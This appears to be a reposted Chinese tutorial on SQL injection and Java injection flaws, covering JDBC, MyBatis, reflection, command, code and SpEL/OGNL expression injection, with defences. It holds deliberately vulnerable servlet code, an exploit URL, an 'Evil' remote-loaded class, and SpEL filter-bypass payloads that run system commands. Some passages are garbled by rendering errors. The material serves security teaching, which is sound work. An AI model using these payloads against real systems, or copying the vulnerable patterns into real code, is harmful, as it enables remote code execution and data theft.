sql注入
Posted wd404
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。
1、定义
sql注入,是用户提交的数据,服务端接收后未经过严格检查,将其直接拼接到sql语句中,交给sql应用执行,超出了开发者预期的sql语句结构,从而造成危害。
与xss需要用户参与不同,sql注入攻击者可以直接实现。
(1)提交数据
- 并不局限请求方法,get/post/put/delete均可,关键看服务端的接收实现
- 数据可能在url的路径参数或直接参数中,也可能在请求头部字段中(referer、origin、cookie、user-agent等),还可能是请求体部中
(2)拼接
一般来说,编程语言提供的预编译机制可以几乎完全避免sql注入
(3)sql应用
绝大部分sql应用都有可能因为网站业务程序开发的问题,而发生sql注入漏洞。
比如mysql、oracle、sql server等,一般讨论的是mysql。
(4)危害
- 查询数据表数据或函数结果
- 编辑数据表数据
- 数据库表结构编辑
- 读写文件
- 系统命令执行
2、增删改查
在网站与数据库相关的业务中,基本可以归纳为增删改查语句,而其都存在sql注入的可能。
所有受用户控制的参数都有可能存在注入,实际过程中主要将字段值作为测试参数,而忽略数据表名、字段名和方法等。
2.1 增insert
(1)作为插入的值,可能存在注入
- 如果insert中使用的是values而非value,那么可以考虑构造同时插入多行数据
- 如果存在注入的并非最后一个参数值,可以对其后的参数进行注释,而在注释前构造想要补充的数据,同时满足列数
- 如果存在多个注入点,可以通过引号,使两个注入点的中间部分作为一个参数,然后前后补齐结构,并构造想要补充的数据,同时满足列数
(2)从效果上来说
- 一次性添加多条数据,一般多余的数据是未经过检查的。可以一次充值增加两条记录,注册其他用户所用账号
- 一次性添加一条数据,但部分字段可以自定义。
- 从而可以查询函数信息或者数据表数据,写入到该按行中,攻击者可以请求查看
- 自定义一些关键字段,比如账号权限、账号余额等
2.2 删delete
(1)作为where条件的判断值可能存在注入
(2)从效果上来说
- 可能超权限、超范围进行删除,甚至进行删库
- 时间盲注或布尔盲注获取信息
2.3 改update
(1)作为更新的值可能存在注入
(2)作为where条件的判断值可能存在注入
(3)从效果上来说
- 可能超权限、超范围进行删除,甚至进行整体覆写
- 时间盲注或布尔盲注获取信息
- 可以查询,将查询的信息写入更新字段中,攻击者可以请求查看
2.4 查select
(1)作为where条件的判断值可能存在注入
(2)作为order by的参数可能存在注入
(3)作为limit的参数可能存在注入
(4)从效果上来说
- 查询,时间盲注或布尔盲注,联合查询
- 可能超权限、超范围进行删除,甚至进行脱库
补充:这四种sql语句都可能存在堆栈注入,以及除了insert外的三种类型的where条件都可能存在错误注入。
3、防护
(1)预编译
(2)作为补充,进行输入的敏感字符过滤、字符长度限制、关键词过滤
禁止直接输出sql异常信息
Java安全-注入漏洞(SQL注入命令注入表达式注入模板注入)
注入
SQL注入
JDBC拼接不当造成SQL注入
JDBC有两种方法执行SQL语句,分别为PrepareStatement和Statement。两个方法的区别在于PrepareStatement会对SQL语句进行预编译,而Statement方法在每次执行时都需要编译,会增大系统开销。理论上PrepareStatement的效率和安全性会比Statement要好,但并不意味着使用PrepareStatement就绝对安全,不会产生SQL注入
PrepareStatement方法支持使用‘?’对变量位进行占位,在预编译阶段填入相应的值构造出完整的SQL语句,此时可以避免SQL注入的产生。但开发者有时为了便利,会直接采取拼接的方式构造SQL语句,此时进行预编译则无法阻止SQL注入的产生。如以下代码所示,PrepareStatement虽然进行了预编译,但在以拼接方式构造SQL语句的情况下仍然会产生SQL注入。代码示例如下(若使用“or 1=1”,仍可判断出这段程序存在SQL注入)
String sql = "select * from user where id =" + req.getParameter("id");
out.println(sql);
try{
PreparedStatement pstt = con.prepareStatement(sql);
ResultSet re = pstt.executeQuery();
while(rs.next()){
out.println("<br>id:"+rs.getObject("id"));
out.println("<br>name:"+re.getObject("name"));
}
catch(SQLException throwables){
throwables.printStackTrace();
}
}
正确地使用PrepareStatement可以有效避免SQL注入的产生,使用“?”作为占位符时,填入对应字段的值会进行严格的类型检查。将前面的“拼接构造SQL语句”改为如下“使用占位符构造SQL语句”的代码片段,即可有效避免SQL注入的产生
PrintWriter out = resp.getWriter();
String sql = "select * from user where id = ?"
out.println(sql);
try{
PreparedStatement pstt = con.prepareStatement(sql);
pstt.setInt(1,Integer.parseInt(req.getParameter("id")));
ResultSet rs = pstt.executeQuery();
....
}
框架使用不当造成SQL注入
如今的Java项目或多或少会使用对JDBC进行更抽象封装的持久化框架,如MyBatis和Hibernate。通常,框架底层已经实现了对SQL注入的防御,但在研发人员未能恰当使用框架的情况下,仍然可能存在SQL注入的风险
Mybatis框架
MyBatis框架的思想是将SQL语句编入配置文件中,避免SQL语句在Java程序中大量出现,方便后续对SQL语句的修改与配置
MyBatis中使用parameterType向SQL语句传参,在SQL引用传参可以使用#{Parameter}和${Parameter}两种方式
使用#{Parameter}构造SQL的代码如下所示
<select id="getUsername" resultType="com.ocean">
select id,name,age from user where name #{name}
<select>
从Debug回显的SQL语句执行过程可以看出,使用#{Parameter}方式会使用“?”占位进行预编译,因此不存在SQL注入的问题。用户可以尝试构造“name”值为“z1ng or 1=1”进行验证。回显如下,由于程序未查询到结果出现了空指针异常,因此此时不存在SQL注入
使用${Parameter}构造SQL的代码如下所示
<select id = "getUsername" resultType = "com.ocean">
select id,name,age from user where name = ${name}
<select>
“name”值被拼接进SQL语句之中,因此此时存在SQL注入
${Parameter}采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处很可能存在SQL注入
Hibernate
Hibernate是一种ORM框架,全称为 Object_Relative DateBase-Mapping,Hibernate框架是Java持久化API(JPA)规范的一种实现方式。Hibernate 将Java 类映射到数据库表中,从 Java 数据类型映射到 SQL 数据类型。Hibernate是目前主流的Java数据库持久化框架,采用Hibernate查询语言(HQL)注入
HQL的语法与SQL类似,受语法的影响,HQL注入在实际漏洞利用上具有一定的限制
不安全的反射
利用 Java 的反射机制,可以无视类方法、变量访问权限修饰符,调用任何类的任意方法、访问并修改成员变量值
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class.invoke(clazz.newInstance(),"id"));
但是Runtime为单例模式,在其生命周期内只能有一个对象,因此以上代码是无法生效的,正确如下
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");
这段payload可以拆分为以下代码
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec",String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"calc.exe");
Java中的Rce, 常见的可执行函数如:Runtime.getRuntime().exec(),在审计的时候也要看Process、ProcessBuilder.start()
可能出现的环境
- 服务器直接存在可执行函数(exec()等),且传入的参数过滤不严格导致 RCE 漏洞
- 由表达式注入导致的 RCE 漏洞,常见的有:SpEL、OGNL(Struts2中常出现)、MVEL、EL、Fel、JST+EL等
- 由Java后端模板引擎注入导致的RCE漏洞,常见的如:Freemarker、Velocity、Thymeleaf(常用在Spring框架)等
- 由Java一些脚本语言引起的RCE漏洞,常见的如:Groovy、JavaScriptEngine等
- 由第三方开源组件引起的RCE漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、Weblogic等
由不安全的输入造成的反射命令执行Demo
代码对于传入的类、传入的类方法、传入类的参数没有做任何限制
@WebServlet("/Rce")
public class Rce extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
PrintWriter printWriter = resp.getWriter();
// 接收参数
String name = req.getParameter("command");
String method = req.getParameter("method");
String str = req.getParameter("str");
try {
// 获取类的无参数构造方法
Class getCommandClass = Class.forName(name);
Constructor constructor = getCommandClass.getDeclaredConstructor();
constructor.setAccessible(true);
// 实例化类
Object getInstance = constructor.newInstance();
// 获取类方法
Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
// 调用类方法
Object mes = getCommandMethod.invoke(getInstance, str);
printWriter.append("即将执行命令");
printWriter.append((Character) mes);
printWriter.flush();
} catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
可以看到代码中存在反射调用,当调用不安全类时,会造成命令执行
http://localhost:8080/JavaRCE_war_exploded/Rce?command=java.lang.Runtime&method=exec&str=calc
命令注入
Java的Runtime类可以提供调用系统命令的功能
protected void doGet(HttpServletRequest req,HttpServletResponse resp) throws ServletException,IOException{
String cmd = req.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int i = -1;
while((i=in.read(b))!=-1){
byteArrayOutputStream.write(b,0,i);
}
PrintWriter out = resp.getWriter();
out.print(new String(byteArrayOutputStream.toByteArray()));
}
系统命令连接符有 |、||、&、&&
- |:前边命令输出结果作为后边的输入
- ||:前边的命令执行失败才执行后边的命令
- &:前边的命令执行后执行后边的命令
- &&:前边的命令执行成功执行后边的命令
注意:Java环境下的命令执行,& 作为字符拼接,不能命令执行
例:Process process = Runtime.getRuntime().exec("ping" + url)
Runtime 类中的 exec 方法,要执行的命令可以通过字符串和数组的方式传入,当传入的参数类型为字符串时,会先经过StringTokenizer的处理,主要是针对空格以及换行符等空白字符进行处理,后续会分割出一个cmdarray数组保存分割后的命令参数,其中cmdarray的第一个元素为所要执行的命令
代码注入
产生代码注入漏洞的前提条件是将用户输入的数据作为Java代码进行执行
由此所见,程序要有相应的功能能够将用户输入的数据当作代码执行,而Java反射就可以实现这样的功能:根据传入不同的类名、方法名和参数执行不同的功能
String ClassName = req.getParameter("ClassName");
String MethodName = req.getParameter("Method");
String[] Args = new String[]{req.getParameter("Args").toString()};
try{
Class clazz = Class.forName(ClassName);
Constructor constructor = clazz.getConstructor(String[].class);
Object obj = constructor.newInstance(new Object[]{Args});
Method method = clazz.getMethod(MethodName);
method.invoke(obj);
}
......
代码注入更具有灵活性。例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()执行系统命令是无回显的。有安全研究员研究出可回显的利用方式,其中一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式
具体步骤如下:
首先构造出一个恶意类代码,并编译成Jar包放置在远程服务器上。然后利用ApacheCommons collections反序列化漏洞可以注入任意代码的特点,构造poc
import Java.io.BufferedReader;
import Java.io.InputStreamReader;
public class Evil{
public static void Exec(String args) throws Exception{
Process proc = Runtime.getRuntime().exec(args);
}
}
在将用户可控部分数据注入代码达到动态执行某些功能的目的之前,需进行严格的检测和过滤,避免用户注入恶意代码,造成系统的损坏和权限的丢失
表达式注入
表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,可以作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作
EL基础语法
在JSP中,用户可以使用 来 表 示 此 处 为 E L 表 达 式 , 例 如 , 表 达 式 ” {}来表示此处为EL表达式,例如,表达式” 来表示此处为EL表达式,例如,表达式”{ name }”表示获取“name”变量
EL表达式也可以实例化Java的内置类,如Runtime.class会执行系统命令
Spel表达式注入
Spel(Spring 表达式语言全程为Spring Expression Language)是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表,注意 Spel 是以 API 接口的形式创建的,允许将其集成到其他应用程序和框架中
特性:
- 使用 Bean 的 ID 来引用 Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
基础
Spel 定界符
Spel 使用 #{} 作为定界符,所有在打括号里的字符都被看做是 Spel 表达式,在其中可以使用 Spel 运算符、变量、引用 Bean 及其属性和方法等
#{} 和 ${} 的区别:
-
#{} 就是 Spel 的定界符,用于指明内容为 Spel 表达式并执行
-
${} 主要用于加载外部属性文件中的值
两者可以混合使用,但是必须 #{} 在外面,KaTeX parse error: Expected 'EOF', got '#' at position 10: {} 在里面,如:#̲{'()’},注意单引号是字符串类型才添加的,如#{’ocean’},#{2222 }
漏洞触发
ExpressionParser parser = new SpelExpressionParser();//ExpressionParser构造解析器
Expression exp = parser.parseExpression("'ocean'");//Expression负责评估定义的表达式字符串
String message = (String) exp.getValue();//getValue方法执行表达式
如果表达式字符串是可控的,那么可能就存在命令执行漏洞
在 Spel 中,使用 T() 运算符会调用类作用域的方法和常量
Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression负责评估定义的表达式字符串
括号中需要包括类名的全限定名,也就是包名加上类名,唯一例外的是,Spel 内置了 java.lang 报下的类声明,也就是 java.lag.String 可以通过 T(String) 访问,而不需要使用全限定名
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
payload构造
Fuzz
Expression exp = parser.parseExpression("''.class");
Expression exp = parser.parseExpression("\\"\\".class");
bypass payload
-
反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
-
反射调用+字符串拼接,针对java.long、Runtime、exec被过滤的情况
T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{"cmd","/C","calc"})
-
当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
-
当执行的系统命令被过滤或者被URL编码时,可以通过String类动态生成字符
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99))) 等于T(java.lang.Runtime).getRuntime.exec('calc')
-
JavaScript引擎通用poc
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);")
-
当T(getClass())被过滤时
''.class.forName('java.lang.Runtime') new String('s').class.forName('java.lang.Runtime')
实例UNctf-goodjava
https://evoa.me/archives/14/#GoodJava
OGNL表达式注入
OGNL 全称Object-Graph Navigation Language即对象导航图语言,一种功能强大的表达式语言
功能:
- 存取对象的任意属性
- 调用对象的方法
- 遍历整个对象的结构图
- 实现字段类型转化
webwork2 和 Struts2.x 中使用 OGNL 代替原来的 EL 来做界面数据绑定(就是把textfield.hidden和对象层某个类的某个属性绑定在一起,修改和现实自动同步)Struts2框架因为滥用OGNL表达式,所以漏洞较多
模板注入
FreeMarker模板注入
文章大部分转载于Java代码审计入门篇一书
https://weread.qq.com/web/reader/c8732a70726fa058c87154b
更多文章:https://mp.weixin.qq.com/s/lwpeuei58smGbAlezo1IwQ
以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章